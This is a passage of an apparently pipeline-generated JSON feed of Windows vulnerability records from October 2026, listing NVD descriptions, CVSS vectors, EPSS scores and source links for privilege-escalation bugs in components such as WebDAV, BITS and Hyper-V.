use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85848","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85848","type":"primary","publishedAt":"2026-10-13T19:21:10.860Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85848&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85848, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85846","cveId":"CVE-2026-85846","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Web Account Manager allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Web Account Manager allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Web Account Manager allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:10.523Z","updatedAt":"2026-10-16T16:22:09.880Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85846","asOf":"2026-10-16T16:22:09.880Z"},"epss":{"probability":0.00204,"percentile":0.10314,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85846&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85846","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85846","type":"primary","publishedAt":"2026-10-13T19:21:10.523Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85846&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85846, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85843","cveId":"CVE-2026-85843","aliases":[],"kind":"vulnerability","title":"Use of uninitialized resource in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.","summary":"Use of uninitialized resource in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.","detail":"Use of uninitialized resource in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:10.337Z","updatedAt":"2026-10-16T16:22:09.663Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85843","asOf":"2026-10-16T16:22:09.663Z"},"epss":{"probability":0.00371,"percentile":0.30716,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85843&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85843","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85843","type":"primary","publishedAt":"2026-10-13T19:21:10.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85843&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85843, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85842","cveId":"CVE-2026-85842","aliases":[],"kind":"vulnerability","title":"Use of externally-controlled format string in Windows Image Acquisition allows an authorized attacker to elevate privileges locally.","summary":"Use of externally-controlled format string in Windows Image Acquisition allows an authorized attacker to elevate privileges locally.","detail":"Use of externally-controlled format string in Windows Image Acquisition allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:10.197Z","updatedAt":"2026-10-16T16:22:09.480Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85842","asOf":"2026-10-16T16:22:09.480Z"},"epss":{"probability":0.00319,"percentile":0.24652,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85842&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85842","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85842","type":"primary","publishedAt":"2026-10-13T19:21:10.197Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85842&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85842, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85834","cveId":"CVE-2026-85834","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:09.310Z","updatedAt":"2026-10-16T16:22:08.777Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85834","asOf":"2026-10-16T16:22:08.777Z"},"epss":{"probability":0.00253,"percentile":0.1657,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85834&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85834","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85834","type":"primary","publishedAt":"2026-10-13T19:21:09.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85834&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85834, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85833","cveId":"CVE-2026-85833","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:09.117Z","updatedAt":"2026-10-16T16:22:08.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85833","asOf":"2026-10-16T16:22:08.597Z"},"epss":{"probability":0.00319,"percentile":0.24651,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85833&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85833","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85833","type":"primary","publishedAt":"2026-10-13T19:21:09.117Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85833&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85833, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85832","cveId":"CVE-2026-85832","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:08.827Z","updatedAt":"2026-10-16T16:22:08.407Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85832","asOf":"2026-10-16T16:22:08.407Z"},"epss":{"probability":0.00371,"percentile":0.30716,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85832&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85832","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85832","type":"primary","publishedAt":"2026-10-13T19:21:08.827Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85832&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85832, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85829","cveId":"CVE-2026-85829","aliases":[],"kind":"vulnerability","title":"Double free in Windows Wired AutoConfig Service allows an authorized attacker to elevate privileges locally.","summary":"Double free in Windows Wired AutoConfig Service allows an authorized attacker to elevate privileges locally.","detail":"Double free in Windows Wired AutoConfig Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:08.310Z","updatedAt":"2026-10-16T16:22:07.820Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85829","asOf":"2026-10-16T16:22:07.820Z"},"epss":{"probability":0.00319,"percentile":0.24652,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85829&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85829","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85829","type":"primary","publishedAt":"2026-10-13T19:21:08.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85829&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85829, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85828","cveId":"CVE-2026-85828","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:08.137Z","updatedAt":"2026-10-16T16:22:07.603Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85828","asOf":"2026-10-16T16:22:07.603Z"},"epss":{"probability":0.00253,"percentile":0.16572,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85828&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85828","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85828","type":"primary","publishedAt":"2026-10-13T19:21:08.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85828&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85828, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85827","cveId":"CVE-2026-85827","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:07.957Z","updatedAt":"2026-10-16T16:22:07.387Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85827","asOf":"2026-10-16T16:22:07.387Z"},"epss":{"probability":0.00204,"percentile":0.10313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85827&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85827","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85827","type":"primary","publishedAt":"2026-10-13T19:21:07.957Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85827&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85827, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85370","cveId":"CVE-2026-85370","aliases":[],"kind":"vulnerability","title":"Use after free in WebDAV allows an authorized attacker to elevate privileges locally.","summary":"Use after free in WebDAV allows an authorized attacker to elevate privileges locally.","detail":"Use after free in WebDAV allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:00.667Z","updatedAt":"2026-10-16T16:21:58.697Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85370","asOf":"2026-10-16T16:21:58.697Z"},"epss":{"probability":0.00253,"percentile":0.16571,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85370&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85370","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85370","type":"primary","publishedAt":"2026-10-13T19:21:00.667Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85370&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85370, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85369","cveId":"CVE-2026-85369","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Hyper-V allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows Hyper-V allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows Hyper-V allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:00.523Z","updatedAt":"2026-10-16T16:21:58.527Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Hyper-V"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85369","asOf":"2026-10-16T16:21:58.527Z"},"epss":{"probability":0.00333,"percentile":0.2629,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85369&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85369","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85369","type":"primary","publishedAt":"2026-10-13T19:21:00.523Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85369&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85369, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85368","cveId":"CVE-2026-85368","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:00.337Z","updatedAt":"2026-10-16T16:21:58.330Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85368","asOf":"2026-10-16T16:21:58.330Z"},"epss":{"probability":0.00319,"percentile":0.24652,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85368&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85368","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85368","type":"primary","publishedAt":"2026-10-13T19:21:00.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85368&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85368, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85367","cveId":"CVE-2026-85367","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Cash Drawer Protocol Provider allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Cash Drawer Protocol Provider allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Cash Drawer Protocol Provider allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:00.170Z","updatedAt":"2026-10-16T16:21:58.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85367","asOf":"2026-10-16T16:21:58.150Z"},"epss":{"probability":0.00253,"percentile":0.16571,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85367&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not 